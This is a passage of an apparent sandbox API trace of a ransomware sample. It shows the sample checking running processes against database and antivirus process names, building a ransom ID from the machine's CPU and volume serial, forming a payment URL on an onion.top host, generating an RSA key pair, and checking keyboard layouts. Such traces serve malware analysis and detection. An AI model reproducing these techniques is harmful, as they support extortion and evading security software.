th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0162.823] lstrcmpiW (lpString1="msftesql.exe", lpString2="winlogon.exe") returned -1 [0162.823] lstrcmpiW (lpString1="sqlagent.exe", lpString2="winlogon.exe") returned -1 [0162.823] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="winlogon.exe") returned -1 [0162.823] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0162.823] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="winlogon.exe") returned -1 [0162.823] lstrcmpiW (lpString1="oracle.exe", lpString2="winlogon.exe") returned -1 [0162.823] lstrcmpiW (lpString1="ocssd.exe", lpString2="winlogon.exe") returned -1 [0162.823] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="winlogon.exe") returned -1 [0162.823] lstrcmpiW (lpString1="synctime.exe", lpString2="winlogon.exe") returned -1 [0162.823] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="winlogon.exe") returned -1 [0162.823] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="winlogon.exe") returned -1 [0162.823] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="winlogon.exe") returned 1 [0162.823] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="winlogon.exe") returned -1 [0162.823] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="winlogon.exe") returned -1 [0162.823] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="winlogon.exe") returned -1 [0162.823] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0162.824] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0162.824] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.825] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.826] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0162.826] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.826] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.827] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.828] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.828] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.829] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.829] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0162.829] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.830] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.830] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0162.830] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.831] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0162.831] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0162.831] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x614, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0162.832] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0162.832] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0162.832] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0162.833] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0162.833] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0162.833] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0162.834] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x348, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0162.834] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tubcvd.exe")) returned 1 [0162.834] Process32NextW (in: hSnapshot=0x168, lppe=0x260000 | out: lppe=0x260000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tubcvd.exe")) returned 0 [0162.835] VirtualFree (lpAddress=0x260000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0162.835] CloseHandle (hObject=0x168) returned 1 [0162.835] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc54 | out: phkResult=0x19fc54*=0x168) returned 0x0 [0162.835] RegQueryValueExW (in: hKey=0x168, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0x59a9f8, lpcbData=0x19fc64*=0x80 | out: lpType=0x0, lpData=0x59a9f8*=0x0, lpcbData=0x19fc64*=0x2) returned 0x0 [0162.835] RegCloseKey (hKey=0x168) returned 0x0 [0162.835] wsprintfW (in: param_1=0x59a9f8, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9 [0162.835] GetWindowsDirectoryW (in: lpBuffer=0x59ae88, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa [0162.835] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x59b088, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x59b488, lpMaximumComponentLength=0x59b490, lpFileSystemFlags=0x59b48c, lpFileSystemNameBuffer=0x59b288, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x59b488*=0xd2ca4def, lpMaximumComponentLength=0x59b490*=0xff, lpFileSystemFlags=0x59b48c*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0162.836] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc54 | out: phkResult=0x19fc54*=0x168) returned 0x0 [0162.836] RegQueryValueExW (in: hKey=0x168, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x59b494, lpcbData=0x19fc64*=0x80 | out: lpType=0x0, lpData=0x59b494*=0x49, lpcbData=0x19fc64*=0x54) returned 0x0 [0162.836] RegCloseKey (hKey=0x168) returned 0x0 [0162.836] lstrlenW (lpString="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41 [0162.836] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc54 | out: phkResult=0x19fc54*=0x168) returned 0x0 [0162.836] RegQueryValueExW (in: hKey=0x168, lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x59b4e6, lpcbData=0x19fc64*=0x80 | out: lpType=0x0, lpData=0x59b4e6*=0x49, lpcbData=0x19fc64*=0x4a) returned 0x0 [0162.836] RegCloseKey (hKey=0x168) returned 0x0 [0162.836] wsprintfW (in: param_1=0x59aa80, param_2="%d" | out: param_1="-758493713") returned 10 [0162.836] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" [0162.836] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77460000 [0162.836] GetProcAddress (hModule=0x77460000, lpProcName="RtlComputeCrc32") returned 0x77486b10 [0162.836] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87 [0162.836] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x59aa80, Length=0xae) returned 0xdce1bb8b [0162.836] lstrlenW (lpString="WORKGROUP") returned 9 [0162.836] lstrlenW (lpString="pc_group") returned 8 [0162.836] VirtualAlloc (lpAddress=0x0, dwSize=0x94, flAllocationType=0x3000, flProtect=0x40) returned 0x260000 [0162.836] lstrcatW (in: lpString1="", lpString2="pc_group" | out: lpString1="pc_group") returned="pc_group" [0162.836] lstrcatW (in: lpString1="pc_group", lpString2="=" | out: lpString1="pc_group=") returned="pc_group=" [0162.836] lstrcatW (in: lpString1="pc_group=", lpString2="WORKGROUP" | out: lpString1="pc_group=WORKGROUP") returned="pc_group=WORKGROUP" [0162.836] lstrcatW (in: lpString1="pc_group=WORKGROUP", lpString2="&" | out: lpString1="pc_group=WORKGROUP&") returned="pc_group=WORKGROUP&" [0162.836] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x270000 [0162.836] wsprintfW (in: param_1=0x270000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16 [0162.836] lstrcatW (in: lpString1="pc_group=WORKGROUP&", lpString2="ransom_id" | out: lpString1="pc_group=WORKGROUP&ransom_id") returned="pc_group=WORKGROUP&ransom_id" [0162.837] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id", lpString2="=" | out: lpString1="pc_group=WORKGROUP&ransom_id=") returned="pc_group=WORKGROUP&ransom_id=" [0162.837] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def" [0162.837] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&" [0162.837] VirtualFree (lpAddress=0x270000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0162.837] lstrlenW (lpString="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned 46 [0162.837] lstrlenW (lpString="ransom_id=") returned 10 [0162.837] lstrcpyW (in: lpString1=0x412430, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0162.837] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0162.837] lstrcpyW (in: lpString1=0x412630, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0162.837] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0162.837] lstrcpyW (in: lpString1=0x4126c4, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0162.837] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0162.837] lstrcpyW (in: lpString1=0x412758, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0162.837] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0162.837] lstrcpyW (in: lpString1=0x4127ec, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0162.837] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0162.837] lstrcpyW (in: lpString1=0x4128be, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0162.837] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0162.837] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x270000 [0162.837] wsprintfW (in: param_1=0x270000, param_2="%s%s" | out: param_1="http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def") returned 50 [0162.837] VirtualFree (lpAddress=0x260000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0162.837] VirtualAlloc (lpAddress=0x0, dwSize=0x123, flAllocationType=0x3000, flProtect=0x4) returned 0x260000 [0162.837] VirtualAlloc (lpAddress=0x0, dwSize=0x515, flAllocationType=0x3000, flProtect=0x4) returned 0x350000 [0162.837] CryptAcquireContextW (in: phProv=0x19fde4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x19fde4*=0x59a9f8) returned 1 [0162.848] CryptGenKey (in: hProv=0x59a9f8, Algid=0xa400, dwFlags=0x8000001, phKey=0x19fde8 | out: phKey=0x19fde8*=0x587408) returned 1 [0163.153] CryptExportKey (in: hKey=0x587408, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x260000, pdwDataLen=0x19fe1c | out: pbData=0x260000*, pdwDataLen=0x19fe1c*=0x114) returned 1 [0163.153] CryptExportKey (in: hKey=0x587408, hExpKey=0x0, dwBlobType=0x7, dwFlags=0x0, pbData=0x350000, pdwDataLen=0x19fe18 | out: pbData=0x350000*, pdwDataLen=0x19fe18*=0x494) returned 1 [0163.153] CryptDestroyKey (hKey=0x587408) returned 1 [0163.153] CryptReleaseContext (hProv=0x59a9f8, dwFlags=0x0) returned 1 [0163.153] GetUserNameW (in: lpBuffer=0x59edb0, pcbBuffer=0x19fce8 | out: lpBuffer="CIiHmnxMn6Ps", pcbBuffer=0x19fce8) returned 1 [0163.154] GetComputerNameW (in: lpBuffer=0x598e50, nSize=0x19fce8 | out: lpBuffer="LHNIWSJ", nSize=0x19fce8) returned 1 [0163.154] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x2f4) returned 0x0 [0163.154] RegQueryValueExW (in: hKey=0x2f4, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0x59bb80, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x59bb80*=0x0, lpcbData=0x19fc54*=0x2) returned 0x0 [0163.154] RegCloseKey (hKey=0x2f4) returned 0x0 [0163.154] wsprintfW (in: param_1=0x59bb80, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9 [0163.154] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Control Panel\\International", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x2f4) returned 0x0 [0163.154] RegQueryValueExW (in: hKey=0x2f4, lpValueName="LocaleName", lpReserved=0x0, lpType=0x0, lpData=0x59dd58, lpcbData=0x19fc54*=0x40 | out: lpType=0x0, lpData=0x59dd58*=0x65, lpcbData=0x19fc54*=0xc) returned 0x0 [0163.154] RegCloseKey (hKey=0x2f4) returned 0x0 [0163.154] wsprintfW (in: param_1=0x59f3b0, param_2="%d" | out: param_1="1") returned 1 [0163.154] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Keyboard Layout\\Preload", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x2f4) returned 0x0 [0163.154] RegQueryValueExW (in: hKey=0x2f4, lpValueName="1", lpReserved=0x0, lpType=0x0, lpData=0x59f3be, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x59f3be*=0x30, lpcbData=0x19fc54*=0x12) returned 0x0 [0163.154] RegCloseKey (hKey=0x2f4) returned 0x0 [0163.154] lstrcmpiW (lpString1="00000409", lpString2="00000419") returned -1 [0163.154] wsprintfW (in: param_1=0x59f3b0, param_2="%d" | out: param_1="2") returned 1 [0163.154] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Keyboard Layout\\Preload", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x2f4) returned 0x0 [0163.154] RegQueryValueExW (in: hKey=0x2f4, lpValueName="2", lpReserved=0x0, lpType=0x0, lpData=0x59f3be, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x59f3be*=0x30, lpcbData=0x19fc54*=0x80) returned 0x2 [0163.154] GetLastError () returned 0xcb [0163.154] RegCloseKey (hKey=0x2f4) returned 0x0 [0163.154] wsprintfW (in: param_1=0x599a00, param_2="0" | out: param_1="0") returned 1 [0163.154] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x2f4) returned 0x0 [0163.154] RegQueryValueExW (in: hKey=0x2f4, lpValueName="productName", lpReserved=0x0, lpType=0x0, lpData=0x59dde0, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x59dde0*=0x57, lpcbData=0x19fc54*=0x1e) returned 0x0 [0163.154] RegCloseKey (hKey=0x2f4) returned 0x0 [0163.154] GetNativeSystemInfo (in: lpSystemInfo=0x19fcb0 | out: lpSystemInfo=0x19fcb0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0163.154] wsprintfW (in: param_1=0x584c30, param_2="x64" | out: param_1="x64") returned 3 [0163.154] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x3000, flProtect=0x4) returned 0x370000 [0163.155] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0163.157] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.157] lstrcmpiW (lpString1="AVP.EXE", lpString2="[System Process]") returned 1 [0163.157] lstrcmpiW (lpString1="ekrn.exe", lpString2="[System Process]") returned 1 [0163.157] lstrcmpiW (lpString1="avgnt.exe", lpString2="[System Process]") returned 1 [0163.157] lstrcmpiW (lpString1="ashDisp.exe", lpString2="[System Process]") returned 1 [0163.157] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="[System Process]") returned 1 [0163.157] lstrcmpiW (lpString1="Mcshield.exe", lpString2="[System Process]") returned 1 [0163.157] lstrcmpiW (lpString1="avengine.exe", lpString2="[System Process]") returned 1 [0163.157] lstrcmpiW (lpString1="cmdagent.exe", lpString2="[System Process]") returned 1 [0163.157] lstrcmpiW (lpString1="smc.exe", lpString2="[System Process]") returned 1 [0163.157] lstrcmpiW (lpString1="persfw.exe", lpString2="[System Process]") returned 1 [0163.157] lstrcmpiW (lpString1="pccpfw.exe", lpString2="[System Process]") returned 1 [0163.157] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="[System Process]") returned 1 [0163.157] lstrcmpiW (lpString1="cfp.exe", lpString2="[System Process]") returned 1 [0163.157] lstrcmpiW (lpString1="msmpeng.exe", lpString2="[System Process]") returned 1 [0163.157] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x64, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0163.158] GetLastError () returned 0xcb [0163.158] lstrcmpiW (lpString1="AVP.EXE", lpString2="System") returned -1 [0163.158] lstrcmpiW (lpString1="ekrn.exe", lpString2="System") returned -1 [0163.158] lstrcmpiW (lpString1="avgnt.exe", lpString2="System") returned -1 [0163.158] lstrcmpiW (lpString1="ashDisp.exe", lpString2="System") returned -1 [0163.158] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="System") returned -1 [0163.158] lstrcmpiW (lpString1="Mcshield.exe", lpString2="System") returned -1 [0163.158] lstrcmpiW (lpString1="avengine.exe", lpString2="System") returned -1 [0163.158] lstrcmpiW (lpString1="cmdagent.exe", lpString2="System") returned -1 [0163.158] lstrcmpiW (lpString1="smc.exe", lpString2="System") returned -1 [0163.158] lstrcmpiW (lpString1="persfw.exe", lpString2="System") returned -1 [0163.158] lstrcmpiW (lpString1="pccpfw.exe", lpString2="System") returned -1 [0163.158] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="System") returned -1 [0163.158] lstrcmpiW (lpString1="cfp.exe", lpString2="System") returned -1 [0163.158] lstrcmpiW (lpString1="msmpeng.exe", lpString2="System") returned -1 [0163.158] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0163.158] GetLastError () returned 0xcb [0163.158] lstrcmpiW (lpString1="AVP.EXE", lpString2="smss.exe") returned -1 [0163.158] lstrcmpiW (lpString1="ekrn.exe", lpString2="smss.exe") returned -1 [0163.158] lstrcmpiW (lpString1="avgnt.exe", lpString2="smss.exe") returned -1 [0163.158] lstrcmpiW (lpString1="ashDisp.exe", lpString2="smss.exe") returned -1 [0163.158] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="smss.exe") returned -1 [0163.158] lstrcmpiW (lpString1="Mcshield.exe", lpString2="smss.exe") returned -1 [0163.158] lstrcmpiW (lpString1="avengine.exe", lpString2="smss.exe") returned -1 [0163.158] lstrcmpiW (lpString1="cmdagent.exe", lpString2="smss.exe") returned -1 [0163.158] lstrcmpiW (lpString1="smc.exe", lpString2="smss.exe") returned -1 [0163.158] lstrcmpiW (lpString1="persfw.exe", lpString2="smss.exe") returned -1 [0163.158] lstrcmpiW (lpString1="pccpfw.exe", lpString2="smss.exe") returned -1 [0163.158] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="smss.exe") returned -1 [0163.158] lstrcmpiW (lpString1="cfp.exe", lpString2="smss.exe") returned -1 [0163.158] lstrcmpiW (lpString1="msmpeng.exe", lpString2="smss.exe") returned -1 [0163.158] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, 